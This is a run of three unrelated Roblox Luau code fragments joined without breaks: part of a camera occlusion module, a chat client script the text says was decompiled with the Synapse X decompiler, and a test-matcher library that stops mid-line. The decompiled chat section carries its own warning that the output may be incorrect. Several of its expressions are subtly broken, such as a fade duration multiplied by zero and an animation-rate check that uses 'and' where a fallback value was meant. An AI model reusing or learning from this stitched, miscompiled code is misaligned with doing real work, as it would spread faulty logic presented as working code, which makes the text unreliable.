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--[[ Poppercam - Occlusion module that brings the camera closer to the subject when objects are blocking the view. --]]
local ZoomController = require(script.Parent:WaitForChild("ZoomController")) local TransformExtrapolator = {} do TransformExtrapolator.__index = TransformExtrapolator local CF_IDENTITY = CFrame.new() local function cframeToAxis(cframe: CFrame): Vector3 local axis: Vector3, angle: number = cframe:toAxisAngle() return axis*angle end local function axisToCFrame(axis: Vector3): CFrame local angle: number = axis.magnitude if angle > 1e-5 then return CFrame.fromAxisAngle(axis, angle) end return CF_IDENTITY end local function extractRotation(cf: CFrame): CFrame local _, _, _, xx, yx, zx, xy, yy, zy, xz, yz, zz = cf:components() return CFrame.new(0, 0, 0, xx, yx, zx, xy, yy, zy, xz, yz, zz) end function TransformExtrapolator.new() return setmetatable({ lastCFrame = nil, }, TransformExtrapolator) end function TransformExtrapolator:Step(dt: number, currentCFrame: CFrame) local lastCFrame = self.lastCFrame or currentCFrame self.lastCFrame = currentCFrame local currentPos = currentCFrame.Position local currentRot = extractRotation(currentCFrame) local lastPos = lastCFrame.p local lastRot = extractRotation(lastCFrame) -- Estimate velocities from the delta between now and the last frame -- This estimation can be a little noisy. local dp = (currentPos - lastPos)/dt local dr = cframeToAxis(currentRot*lastRot:inverse())/dt local function extrapolate(t) local p = dp*t + currentPos local r = axisToCFrame(dr*t)*currentRot return r + p end return { extrapolate = extrapolate, posVelocity = dp, rotVelocity = dr, } end function TransformExtrapolator:Reset() self.lastCFrame = nil end end
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]-- -- Decompiled with the Synapse X Luau decompiler.
local v1 = false; local v2, v3 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService"); end); if v2 then v1 = v3; end; local l__RunService__4 = game:GetService("RunService"); local l__ReplicatedStorage__5 = game:GetService("ReplicatedStorage"); local l__Chat__6 = game:GetService("Chat"); local l__StarterGui__7 = game:GetService("StarterGui"); local l__ContextActionService__8 = game:GetService("ContextActionService"); local v9 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents"); local v10 = l__ReplicatedStorage__5:WaitForChild("DefaultChatSystemChatEvents"); local l__ClientChatModules__11 = l__Chat__6:WaitForChild("ClientChatModules"); local v12 = require(l__ClientChatModules__11:WaitForChild("ChatConstants")); local v13 = require(l__ClientChatModules__11:WaitForChild("ChatSettings")); local v14 = require(l__ClientChatModules__11:WaitForChild("MessageCreatorModules"):WaitForChild("Util")); local u1 = nil; pcall(function() u1 = require(game:GetService("Chat").ClientChatModules.ChatLocalization); end); if u1 == nil then u1 = { Get = function(p1, p2, p3) return p3; end }; end; local v15 = Instance.new("BindableEvent"); local u2 = { OnNewMessage = "RemoteEvent", OnMessageDoneFiltering = "RemoteEvent", OnNewSystemMessage = "RemoteEvent", OnChannelJoined = "RemoteEvent", OnChannelLeft = "RemoteEvent", OnMuted = "RemoteEvent", OnUnmuted = "RemoteEvent", OnMainChannelSet = "RemoteEvent", SayMessageRequest = "RemoteEvent", GetInitDataRequest = "RemoteFunction" }; local u3 = {}; local u4 = 10; function TryRemoveChildWithVerifyingIsCorrectType(p4) if u2[p4.Name] then if p4:IsA(u2[p4.Name]) then u2[p4.Name] = nil; u3[p4.Name] = p4; u4 = u4 - 1; end; end; end; for v16, v17 in pairs(v10:GetChildren()) do TryRemoveChildWithVerifyingIsCorrectType(v17); end; if u4 > 0 then local v18 = v10.ChildAdded:connect(function(p5) TryRemoveChildWithVerifyingIsCorrectType(p5); if u4 < 1 then v15:Fire(); end; end); v15.Event:wait(); v18:disconnect(); v15:Destroy(); end; local l__UserInputService__19 = game:GetService("UserInputService"); local l__RunService__20 = game:GetService("RunService"); local l__Players__21 = game:GetService("Players"); local v22 = l__Players__21.LocalPlayer; while not v22 do l__Players__21.ChildAdded:wait(); v22 = l__Players__21.LocalPlayer; end; local v23 = 6; if v13.ScreenGuiDisplayOrder ~= nil then v23 = v13.ScreenGuiDisplayOrder; end; local v24 = Instance.new("ScreenGui"); v24.Name = "Chat"; v24.ResetOnSpawn = false; v24.DisplayOrder = v23; v24.Parent = v22:WaitForChild("PlayerGui"); local v25 = require(script:WaitForChild("MessageLabelCreator")); local v26 = require(script:WaitForChild("MessageLogDisplay")); local v27 = require(script:WaitForChild("ChatChannel")); local v28 = require(script:WaitForChild("ChatWindow")).new(); local v29 = require(script:WaitForChild("ChannelsBar")).new(); local v30 = v26.new(); local v31 = require(script:WaitForChild("CommandProcessor")).new(); local v32 = require(script:WaitForChild("ChatBar")).new(v31, v28); v28:CreateGuiObjects(v24); v28:RegisterChatBar(v32); v28:RegisterChannelsBar(v29); v28:RegisterMessageLogDisplay(v30); v14:RegisterChatWindow(v28); local v33 = require(script:WaitForChild("MessageSender")); v33:RegisterSayMessageFunction(u3.SayMessageRequest); if l__UserInputService__19.TouchEnabled then v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarTextTouch", "Tap here to chat")); else v32:SetTextLabelText(u1:Get("GameChat_ChatMain_ChatBarText", "To chat click here or press \"/\" key")); end; local l__script__5 = script; spawn(function() local v34 = require(l__script__5:WaitForChild("CurveUtil")); local v35 = 1 / (v13.ChatAnimationFPS and 20); local v36 = tick(); while true do local v37 = tick(); local v38 = v34:DeltaTimeToTimescale(v37 - v36); if v38 ~= 0 then v28:Update(v38); end; v36 = v37; wait(v35); end; end); function CheckIfPointIsInSquare(p6, p7, p8) local v39 = false; if p7.X <= p6.X then v39 = false; if p6.X <= p8.X then v39 = false; if p7.Y <= p6.Y then v39 = p6.Y <= p8.Y; end; end; end; return v39; end; local u6 = 0; local u7 = false; local u8 = Instance.new("BindableEvent"); function DoBackgroundFadeIn(p9) u6 = tick(); u7 = false; u8:Fire(); v28:FadeInBackground(p9 or v13.ChatDefaultFadeDuration); if v28:GetCurrentChannel() then local l__Scroller__40 = v30.Scroller; l__Scroller__40.ScrollingEnabled = true; l__Scroller__40.ScrollBarThickness = v26.ScrollBarThickness; end; end; function DoBackgroundFadeOut(p10) u6 = tick(); u7 = true; u8:Fire(); v28:FadeOutBackground(p10 or v13.ChatDefaultFadeDuration); if v28:GetCurrentChannel() then local l__Scroller__41 = v30.Scroller; l__Scroller__41.ScrollingEnabled = false; l__Scroller__41.ScrollBarThickness = 0; end; end; local u9 = 0; local u10 = false; function DoTextFadeIn(p11) u9 = tick(); u10 = false; u8:Fire(); v28:FadeInText((p11 or v13.ChatDefaultFadeDuration) * 0); end; function DoTextFadeOut(p12) u9 = tick(); u10 = true; u8:Fire(); v28:FadeOutText(p12 or v13.ChatDefaultFadeDuration); end; function DoFadeInFromNewInformation() DoTextFadeIn(); if v13.ChatShouldFadeInFromNewInformation then DoBackgroundFadeIn(); end; end; function InstantFadeIn() DoBackgroundFadeIn(0); DoTextFadeIn(0); end; function InstantFadeOut() DoBackgroundFadeOut(0); DoTextFadeOut(0); end; local u11 = nil; local u12 = Instance.new("BindableEvent"); function UpdateFadingForMouseState(p13) u11 = p13; u12:Fire(); if v32:IsFocused() then return; end; if p13 then else DoBackgroundFadeIn(); return; end; DoBackgroundFadeIn(); DoTextFadeIn(); end; local u13 = Instance.new("BindableEvent"); spawn(function() while true do l__RunService__20.RenderStepped:wait(); while not (not u11) or not (not v32:IsFocused()) do if u11 then u12.Event:wait(); end; if v32:IsFocused() then u13.Event:wait(); end; end; if not u7 then if v13.ChatWindowBackgroundFadeOutTime < tick() - u6 then DoBackgroundFadeOut(); end; elseif not u10 then if v13.ChatWindowTextFadeOutTime < tick() - u9 then DoTextFadeOut(); end; else u8.Event:wait(); end; end; end); function getClassicChatEnabled() if v13.ClassicChatEnabled ~= nil then return v13.ClassicChatEnabled; end; return l__Players__21.ClassicChat; end; function getBubbleChatEnabled() if v13.BubbleChatEnabled ~= nil then return v13.BubbleChatEnabled; end; return l__Players__21.BubbleChat; end; function bubbleChatOnly() return not getClassicChatEnabled() and getBubbleChatEnabled(); end; local u14 = {}; function UpdateMousePosition(p14) if u14.Visible then if u14.IsCoreGuiEnabled then if not u14.TopbarEnabled then if not v13.ChatOnWithTopBarOff then return; end; end; else return; end; else return; end; if bubbleChatOnly() then return; end; local l__AbsolutePosition__42 = v28.GuiObject.AbsolutePosition; local v43 = CheckIfPointIsInSquare(p14, l__AbsolutePosition__42, l__AbsolutePosition__42 + v28.GuiObject.AbsoluteSize); if v43 ~= u11 then UpdateFadingForMouseState(v43); end; end; l__UserInputService__19.InputChanged:connect(function(p15, p16) if p15.UserInputType == Enum.UserInputType.MouseMovement then UpdateMousePosition((Vector2.new(p15.Position.X, p15.Position.Y))); end; end); l__UserInputService__19.TouchTap:connect(function(p17, p18) UpdateMousePosition(p17[1]); end); l__UserInputService__19.TouchMoved:connect(function(p19, p20) UpdateMousePosition((Vector2.new(p19.Position.X, p19.Position.Y))); end); l__UserInputService__19.Changed:connect(function(p21) if p21 == "MouseBehavior" and l__UserInputService__19.MouseBehavior == Enum.MouseBehavior.LockCenter then local l__AbsolutePosition__44 = v28.GuiObject.AbsolutePosition; if CheckIfPointIsInSquare(v24.AbsoluteSize / 2, l__AbsolutePosition__44, l__AbsolutePosition__44 + v28.GuiObject.AbsoluteSize) then l__UserInputService__19.MouseBehavior = Enum.MouseBehavior.Default; end; end; end); UpdateFadingForMouseState(true); UpdateFadingForMouseState(false); local v45 = { Signal = function() local v46 = {}; local u15 = nil; local u16 = nil; local u17 = Instance.new("BindableEvent"); function v46.fire(p22, ...) u15 = { ... }; u16 = select("#", ...); u17:Fire(); end; function v46.connect(p23, p24) if not p24 then error("connect(nil)", 2); end; return u17.Event:connect(function() p24(unpack(u15, 1, u16)); end); end; function v46.wait(p25) u17.Event:wait(); assert(u15, "Missing arg data, likely due to :TweenSize/Position corrupting threadrefs."); return unpack(u15, 1, u16); end; return v46; end }; function SetVisibility(p26) v28:SetVisible(p26); u14.VisibilityStateChanged:fire(p26); u14.Visible = p26; if u14.IsCoreGuiEnabled then if p26 then else InstantFadeOut(); return; end; else return; end; InstantFadeIn(); end; u14.TopbarEnabled = true; u14.MessageCount = 0; u14.Visible = true; u14.IsCoreGuiEnabled = true; function u14.ToggleVisibility(p27) SetVisibility(not v28:GetVisible()); end; function u14.SetVisible(p28, p29) if v28:GetVisible() ~= p29 then SetVisibility(p29); end; end; function u14.FocusChatBar(p30) v32:CaptureFocus(); end; function u14.EnterWhisperState(p31, p32) v32:EnterWhisperState(p32); end; function u14.GetVisibility(p33) return v28:GetVisible(); end; function u14.GetMessageCount(p34) return p34.MessageCount; end; function u14.TopbarEnabledChanged(p35, p36) p35.TopbarEnabled = p36; p35.CoreGuiEnabled:fire(game:GetService("StarterGui"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat)); end; function u14.IsFocused(p37, p38) return v32:IsFocused(); end; u14.ChatBarFocusChanged = v45.Signal(); u14.VisibilityStateChanged = v45.Signal(); u14.MessagesChanged = v45.Signal(); u14.MessagePosted = v45.Signal(); u14.CoreGuiEnabled = v45.Signal(); u14.ChatMakeSystemMessageEvent = v45.Signal(); u14.ChatWindowPositionEvent = v45.Signal(); u14.ChatWindowSizeEvent = v45.Signal(); u14.ChatBarDisabledEvent = v45.Signal(); function u14.fChatWindowPosition(p39) return v28.GuiObject.Position; end; function u14.fChatWindowSize(p40) return v28.GuiObject.Size; end; function u14.fChatBarDisabled(p41) return not v32:GetEnabled(); end; if v1 then local u18 = true; l__ContextActionService__8:BindAction("ToggleChat", function(p42, p43, p44) if p42 == "ToggleChat" and p43 == Enum.UserInputState.Begin and u18 and p44.UserInputType == Enum.UserInputType.Keyboard then DoChatBarFocus(); end; end, true, Enum.KeyCode.Slash); else local u19 = true; function u14.SpecialKeyPressed(p45, p46, p47) if p46 == Enum.SpecialKey.ChatHotkey and u19 then DoChatBarFocus(); end; end; end; u14.CoreGuiEnabled:connect(function(p48) u14.IsCoreGuiEnabled = p48; p48 = p48 and (u14.TopbarEnabled or v13.ChatOnWithTopBarOff); v28:SetCoreGuiEnabled(p48); if p48 then InstantFadeIn(); return; end; v32:ReleaseFocus(); InstantFadeOut(); end); function trimTrailingSpaces(p49) local v47 = #p49; while true do if 0 < v47 then else break; end; if p49:find("^%s", v47) then else break; end; v47 = v47 - 1; end; return p49:sub(1, v47); end; local u20 = false; u14.ChatMakeSystemMessageEvent:connect(function(p50) if p50.Text and type(p50.Text) == "string" then while not u20 do wait(); end; local l__GeneralChannelName__48 = v13.GeneralChannelName; local v49 = v28:GetChannel(l__GeneralChannelName__48); if v49 then v49:AddMessageToChannel({ ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = l__GeneralChannelName__48, IsFiltered = true, MessageLength = string.len(p50.Text), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p50.Text)), Message = trimTrailingSpaces(p50.Text), MessageType = v12.MessageTypeSetCore, Time = os.time(), ExtraData = p50 }); v29:UpdateMessagePostedInChannel(l__GeneralChannelName__48); u14.MessageCount = u14.MessageCount + 1; u14.MessagesChanged:fire(u14.MessageCount); end; end; end); u14.ChatBarDisabledEvent:connect(function(p51) if u19 then v32:SetEnabled(not p51); if p51 then v32:ReleaseFocus(); end; end; end); u14.ChatWindowSizeEvent:connect(function(p52) v28.GuiObject.Size = p52; end); u14.ChatWindowPositionEvent:connect(function(p53) v28.GuiObject.Position = p53; end); function DoChatBarFocus() if not v28:GetCoreGuiEnabled() then return; end; if not v32:GetEnabled() then return; end; if not v32:IsFocused() then if v32:GetVisible() then u14:SetVisible(true); InstantFadeIn(); v32:CaptureFocus(); u14.ChatBarFocusChanged:fire(true); end; end; end; u13.Event:connect(function(p54) u14.ChatBarFocusChanged:fire(p54); end); function DoSwitchCurrentChannel(p55) if v28:GetChannel(p55) then v28:SwitchCurrentChannel(p55); end; end; function SendMessageToSelfInTargetChannel(p56, p57, p58) local v50 = v28:GetChannel(p57); if v50 then v50:AddMessageToChannel({ ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = p57, IsFiltered = true, MessageLength = string.len(p56), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p56)), Message = trimTrailingSpaces(p56), MessageType = v12.MessageTypeSystem, Time = os.time(), ExtraData = p58 }); end; end; function chatBarFocused() if not u11 then DoBackgroundFadeIn(); if u10 then DoTextFadeIn(); end; end; u13:Fire(true); end; function chatBarFocusLost(p59, p60) DoBackgroundFadeIn(); u13:Fire(false); if p59 then local v51 = v32:GetTextBox().Text; if v32:IsInCustomState() then local v52 = v32:GetCustomMessage(); if v52 then v51 = v52; end; local v53 = v32:CustomStateProcessCompletedMessage(v51); v32:ResetCustomState(); if v53 then return; end; end; v32:GetTextBox().Text = ""; if v51 ~= "" then u14.MessagePosted:fire(v51); if not v31:ProcessCompletedChatMessage(v51, v28) then local v54 = nil; if v13.DisallowedWhiteSpace then local v55 = #v13.DisallowedWhiteSpace; local v56 = 1 - 1; while true do if v13.DisallowedWhiteSpace[v56] == "\t" then v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], " "); else v51 = string.gsub(v51, v13.DisallowedWhiteSpace[v56], ""); end; if 0 <= 1 then if v56 < v55 then else break; end; elseif v55 < v56 then else break; end; v56 = v56 + 1; end; end; v54 = string.gsub(string.gsub(v51, "\n", ""), "[ ]+", " "); local v57 = v28:GetTargetMessageChannel(); if v57 then v33:SendMessage(v54, v57); return; end; v33:SendMessage(v54, nil); end; end; end; end; local u21 = {}; function setupChatBarConnections() local v58 = #u21; local v59 = 1 - 1; while true do u21[v59]:Disconnect(); if 0 <= 1 then if v59 < v58 then else break; end; elseif v58 < v59 then else break; end; v59 = v59 + 1; end; u21 = {}; table.insert(u21, (v32:GetTextBox().FocusLost:connect(chatBarFocusLost))); table.insert(u21, (v32:GetTextBox().Focused:connect(chatBarFocused))); end; setupChatBarConnections(); v32.GuiObjectsChanged:connect(setupChatBarConnections); function getEchoMessagesInGeneral() if v13.EchoMessagesInGeneralChannel == nil then return true; end; return v13.EchoMessagesInGeneralChannel; end; u3.OnMessageDoneFiltering.OnClientEvent:connect(function(p61) if not v13.ShowUserOwnFilteredMessage and p61.FromSpeaker == v22.Name then return; end; local l__OriginalChannel__60 = p61.OriginalChannel; local v61 = v28:GetChannel(l__OriginalChannel__60); if v61 then v61:UpdateMessageFiltered(p61); end; if getEchoMessagesInGeneral() and v13.GeneralChannelName and l__OriginalChannel__60 ~= v13.GeneralChannelName then local v62 = v28:GetChannel(v13.GeneralChannelName); if v62 then v62:UpdateMessageFiltered(p61); end; end; end); u3.OnNewMessage.OnClientEvent:connect(function(p62, p63) local v63 = v28:GetChannel(p63); if v63 then v63:AddMessageToChannel(p62); if p62.FromSpeaker ~= v22.Name then v29:UpdateMessagePostedInChannel(p63); end; if getEchoMessagesInGeneral() and v13.GeneralChannelName and p63 ~= v13.GeneralChannelName then local v64 = v28:GetChannel(v13.GeneralChannelName); if v64 then v64:AddMessageToChannel(p62); end; end; u14.MessageCount = u14.MessageCount + 1; u14.MessagesChanged:fire(u14.MessageCount); DoFadeInFromNewInformation(); end; end); u3.OnNewSystemMessage.OnClientEvent:connect(function(p64, p65) p65 = p65 and "System"; local v65 = v28:GetChannel(p65); if v65 then v65:AddMessageToChannel(p64); v29:UpdateMessagePostedInChannel(p65); u14.MessageCount = u14.MessageCount + 1; u14.MessagesChanged:fire(u14.MessageCount); DoFadeInFromNewInformation(); if getEchoMessagesInGeneral() and v13.GeneralChannelName and p65 ~= v13.GeneralChannelName then local v66 = v28:GetChannel(v13.GeneralChannelName); if v66 then v66:AddMessageToChannel(p64); return; end; end; else warn(string.format("Just received system message for channel I'm not in [%s]", p65)); end; end); function HandleChannelJoined(p66, p67, p68, p69, p70, p71) if v28:GetChannel(p66) then v28:RemoveChannel(p66); end; if p66 == v13.GeneralChannelName then u20 = true; end; if p69 then v32:SetChannelNameColor(p66, p69); end; local v67 = v28:AddChannel(p66); if v67 then if p66 == v13.GeneralChannelName then DoSwitchCurrentChannel(p66); end; if p68 then local v68 = 1; if v13.MessageHistoryLengthPerChannel < #p68 then v68 = #p68 - v13.MessageHistoryLengthPerChannel; end; local v69 = #p68; local v70 = v68 - 1; while true do v67:AddMessageToChannel(p68[v70]); if 0 <= 1 then if v70 < v69 then else break; end; elseif v69 < v70 then else break; end; v70 = v70 + 1; end; if getEchoMessagesInGeneral() then if p70 then if v13.GeneralChannelName then if p66 ~= v13.GeneralChannelName then local v71 = v28:GetChannel(v13.GeneralChannelName); if v71 then v71:AddMessagesToChannelByTimeStamp(p68, v68); end; end; end; end; end; end; if p67 ~= "" then local v72 = { ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = p66, IsFiltered = true, MessageLength = string.len(p67), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p67)), Message = trimTrailingSpaces(p67), MessageType = v12.MessageTypeWelcome, Time = os.time(), ExtraData = nil }; v67:AddMessageToChannel(v72); if getEchoMessagesInGeneral() then if p71 then if not v13.ShowChannelsBar then if p66 ~= v13.GeneralChannelName then local v73 = v28:GetChannel(v13.GeneralChannelName); if v73 then v73:AddMessageToChannel(v72); end; end; end; end; end; end; DoFadeInFromNewInformation(); end; end; u3.OnChannelJoined.OnClientEvent:connect(function(p72, p73, p74, p75) HandleChannelJoined(p72, p73, p74, p75, false, true); end); u3.OnChannelLeft.OnClientEvent:connect(function(p76) v28:RemoveChannel(p76); DoFadeInFromNewInformation(); end); u3.OnMuted.OnClientEvent:connect(function(p77) end); u3.OnUnmuted.OnClientEvent:connect(function(p78) end); u3.OnMainChannelSet.OnClientEvent:connect(function(p79) DoSwitchCurrentChannel(p79); end); coroutine.wrap(function() local l__ChannelNameColorUpdated__74 = v9:WaitForChild("ChannelNameColorUpdated", 5); if l__ChannelNameColorUpdated__74 then l__ChannelNameColorUpdated__74.OnClientEvent:connect(function(p80, p81) v32:SetChannelNameColor(p80, p81); end); end; end)(); local u22 = nil; local u23 = nil; local u24 = nil; local u25 = nil; pcall(function() u22 = l__StarterGui__7:GetCore("PlayerBlockedEvent"); u23 = l__StarterGui__7:GetCore("PlayerMutedEvent"); u24 = l__StarterGui__7:GetCore("PlayerUnblockedEvent"); u25 = l__StarterGui__7:GetCore("PlayerUnmutedEvent"); end); function SendSystemMessageToSelf(p82) local v75 = v28:GetCurrentChannel(); if v75 then v75:AddMessageToChannel({ ID = -1, FromSpeaker = nil, SpeakerUserId = 0, OriginalChannel = v75.Name, IsFiltered = true, MessageLength = string.len(p82), MessageLengthUtf8 = utf8.len(utf8.nfcnormalize(p82)), Message = trimTrailingSpaces(p82), MessageType = v12.MessageTypeSystem, Time = os.time(), ExtraData = nil }); end; end; function MutePlayer(p83) local l__MutePlayerRequest__76 = v9:FindFirstChild("MutePlayerRequest"); if l__MutePlayerRequest__76 then else return false; end; return l__MutePlayerRequest__76:InvokeServer(p83.Name); end; if u22 then u22.Event:connect(function(p84) if MutePlayer(p84) then if v13.PlayerDisplayNamesEnabled then local v77 = p84.DisplayName; else v77 = p84.Name; end; SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenBlocked", string.format("Speaker '%s' has been blocked.", v77), { RBX_NAME = v77 })); end; end); end; if u23 then u23.Event:connect(function(p85) if MutePlayer(p85) then if v13.PlayerDisplayNamesEnabled then local v78 = p85.DisplayName; else v78 = p85.Name; end; SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenMuted", string.format("Speaker '%s' has been muted.", v78), { RBX_NAME = v78 })); end; end); end; function UnmutePlayer(p86) local l__UnMutePlayerRequest__79 = v9:FindFirstChild("UnMutePlayerRequest"); if l__UnMutePlayerRequest__79 then else return false; end; return l__UnMutePlayerRequest__79:InvokeServer(p86.Name); end; if u24 then u24.Event:connect(function(p87) if UnmutePlayer(p87) then if v13.PlayerDisplayNamesEnabled then local v80 = p87.DisplayName; else v80 = p87.Name; end; SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnBlocked", string.format("Speaker '%s' has been unblocked.", v80), { RBX_NAME = v80 })); end; end); end; if u25 then u25.Event:connect(function(p88) if UnmutePlayer(p88) then if v13.PlayerDisplayNamesEnabled then local v81 = p88.DisplayName; else v81 = p88.Name; end; SendSystemMessageToSelf(u1:Get("GameChat_ChatMain_SpeakerHasBeenUnMuted", string.format("Speaker '%s' has been unmuted.", v81), { RBX_NAME = v81 })); end; end); end; spawn(function() if v22.UserId > 0 then pcall(function() local v82 = l__StarterGui__7:GetCore("GetBlockedUserIds"); if #v82 > 0 then local l__SetBlockedUserIdsRequest__83 = v9:FindFirstChild("SetBlockedUserIdsRequest"); if l__SetBlockedUserIdsRequest__83 then l__SetBlockedUserIdsRequest__83:FireServer(v82); end; end; end); end; end); spawn(function() local v84, v85 = pcall(function() return l__Chat__6:CanUserChatAsync(v22.UserId); end); if v84 then u19 = l__RunService__20:IsStudio() and v85; end; end); local v86 = u3.GetInitDataRequest:InvokeServer(); for v87, v88 in pairs(v86.Channels) do if v88[1] == v13.GeneralChannelName then HandleChannelJoined(v88[1], v88[2], v88[3], v88[4], true, false); end; end; for v89, v90 in pairs(v86.Channels) do if v90[1] ~= v13.GeneralChannelName then HandleChannelJoined(v90[1], v90[2], v90[3], v90[4], true, false); end; end; return u14;
-- ROBLOX deviation: toBeUndefined equivalent to toBeNil
local function toBeUndefined( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: nil ) local matcherName = "toBeUndefined" local options: MatcherHintOptions = { isNot = self.isNot, promise = self.promise, } ensureNoExpected(expected, matcherName, options) local pass = received == nil local message = function() return matcherHint(matcherName, nil, "", options) .. "\n\n" .. string.format("Received: %s", printReceived(received)) end return { message = message, pass = pass } end local function toContain( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: any ) local matcherName = "toContain" local isNot = self.isNot local options: MatcherHintOptions = { comment = "string.find or table.find", isNot = isNot, promise = self.promise, } if received == nil then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must not be nil", RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end if typeof(received) == "string" then local wrongTypeErrorMessage = ("%s value must be a string if %s value is a string"):format( EXPECTED_COLOR("expected"), RECEIVED_COLOR("received") ) if typeof(expected) ~= "string" then error( Error.new( matcherErrorMessage( matcherHint(matcherName, received, tostring(expected), options), wrongTypeErrorMessage, tostring(printWithType("Expected", expected, printExpected)) .. "\n" .. tostring(printWithType("Received", received, printReceived)) ) ) ) end local index = received:find(tostring(expected), 1, true) local pass = index ~= nil local message = function() local labelExpected = string.format("Expected %s", typeof(expected) == "string" and "substring" or "value") local labelReceived = "Received string" local printLabel = getLabelPrinter(labelExpected, labelReceived) return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format( "%s%s%s\n", printLabel(labelExpected), isNot and "never " or "", printExpected(expected) ) .. string.format( "%s%s%s", printLabel(labelReceived), isNot and " " or "", isNot and printReceivedStringContainExpectedSubstring(received, index, #tostring(expected)) or printReceived(received) ) end return { message = message, pass = pass } end local indexable = Array.from(received) local index = table.find(indexable, expected) local pass = index ~= nil local message = function() local labelExpected = "Expected value" local labelReceived = string.format("Received %s", getType(received)) local printLabel = getLabelPrinter(labelExpected, labelReceived) local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format( "%s%s%s\n", printLabel(labelExpected), isNot and "never " or "", printExpected(expected) ) .. string.format("%s%s", printLabel(labelReceived), isNot and " " or "") if isNot and Array.isArray(received) then retval = retval .. printReceivedArrayContainExpectedItem(received, index) else retval = retval .. printReceived(received) end if not isNot and Array.findIndex(received, function(item) return equals(item, expected, { iterableEquality }) end) ~= -1 then retval = retval .. string.format("\n\n%s", SUGGEST_TO_CONTAIN_EQUAL) end return retval end return { message = message, pass = pass } end local function toContainEqual( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: any ) local matcherName = "toContainEqual" local isNot = self.isNot local options: MatcherHintOptions = { comment = "deep equality", isNot = isNot, promise = self.promise, } if received == nil then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format("%s value must not be nil", RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end local index = Array.findIndex(Array.from(received), function(item) return equals(item, expected, { iterableEquality }) end) local pass = index ~= -1 local message = function() local labelExpected = "Expected value" local labelReceived = string.format("Received %s", getType(received)) local printLabel = getLabelPrinter(labelExpected, labelReceived) local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format( "%s%s%s\n", printLabel(labelExpected), isNot and "never " or "", printExpected(expected) ) .. string.format("%s%s", printLabel(labelReceived), isNot and " " or "") if isNot and Array.isArray(received) then retval = retval .. printReceivedArrayContainExpectedItem(received, index) else retval = retval .. printReceived(received) end return retval end return { message = message, pass = pass } end local function toEqual( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: any ) local matcherName = "toEqual" local options: MatcherHintOptions = { comment = "deep equality", isNot = self.isNot, promise = self.promise, } local pass = equals(received, expected, { iterableEquality }) local message if pass then message = function() local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format("Expected: never %s\n", printExpected(expected)) if stringify(expected) ~= stringify(received) then retval = retval .. string.format("Received: %s", printReceived(received)) end return retval end else message = function() return matcherHint(matcherName, nil, nil, options) .. "\n\n" .. printDiffOrStringify(expected, received, EXPECTED_LABEL, RECEIVED_LABEL, isExpand(self.expand)) end end -- Passing the actual and expected objects so that a custom reporter -- could access them, for example in order to display a custom visual diff, -- or create a different error message return { actual = received, expected = expected, message = message, name = matcherName, pass = pass } end local function toHaveLength( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expected: number ) local matcherName = "toHaveLength" local isNot = self.isNot local options: MatcherHintOptions = { isNot = isNot, promise = self.promise, } -- ROBLOX deviation: only strings and array-like tables have a well defined built in length in Lua -- we also allow for objects that have a length property local hasLengthProperty = typeof(received) == "table" and typeof(received.length) == "number" if not Array.isArray(received) and typeof(received) ~= "string" and not hasLengthProperty then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, nil, options), string.format( "%s value must have a length property whose value must be a number", RECEIVED_COLOR("received") ), printWithType("Received", received, printReceived) ) ) ) end ensureExpectedIsNonNegativeInteger(expected, matcherName, options) local pass local receivedLength if received.length ~= nil then receivedLength = received.length pass = receivedLength == expected else receivedLength = #received pass = receivedLength == expected end local message = function() local labelExpected = "Expected length" local labelReceivedLength = "Received length" local labelReceivedValue = string.format("Received %s", getType(received)) local printLabel = getLabelPrinter(labelExpected, labelReceivedLength, labelReceivedValue) local retval = matcherHint(matcherName, nil, nil, options) .. "\n\n" .. string.format( "%s%s%s\n", printLabel(labelExpected), isNot and "never " or "", printExpected(expected) ) if not isNot then retval = retval .. string.format("%s%s\n", printLabel(labelReceivedLength), printReceived(receivedLength)) end return retval .. string.format( "%s%s%s", printLabel(labelReceivedValue), isNot and " " or "", printReceived(received) ) end return { message = message, pass = pass } end local function toHaveProperty( -- ROBLOX deviation: self param in Lua needs to be explicitely defined self: MatcherState, received: any, expectedPath: any, expectedValue: any? ) local matcherName = "toHaveProperty" local expectedArgument = "path" local hasValue = expectedValue ~= nil local options: MatcherHintOptions = { isNot = self.isNot, promise = self.promise, secondArgument = hasValue and "value" or "", } if received == nil then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, expectedArgument, options), string.format("%s value must not be nil", RECEIVED_COLOR("received")), printWithType("Received", received, printReceived) ) ) ) end local expectedPathType = getType(expectedPath) if expectedPathType ~= "string" and expectedPathType ~= "table" then error( Error( matcherErrorMessage( matcherHint(matcherName, nil, expectedArgument, options), string.format("%s path must be a string or array", 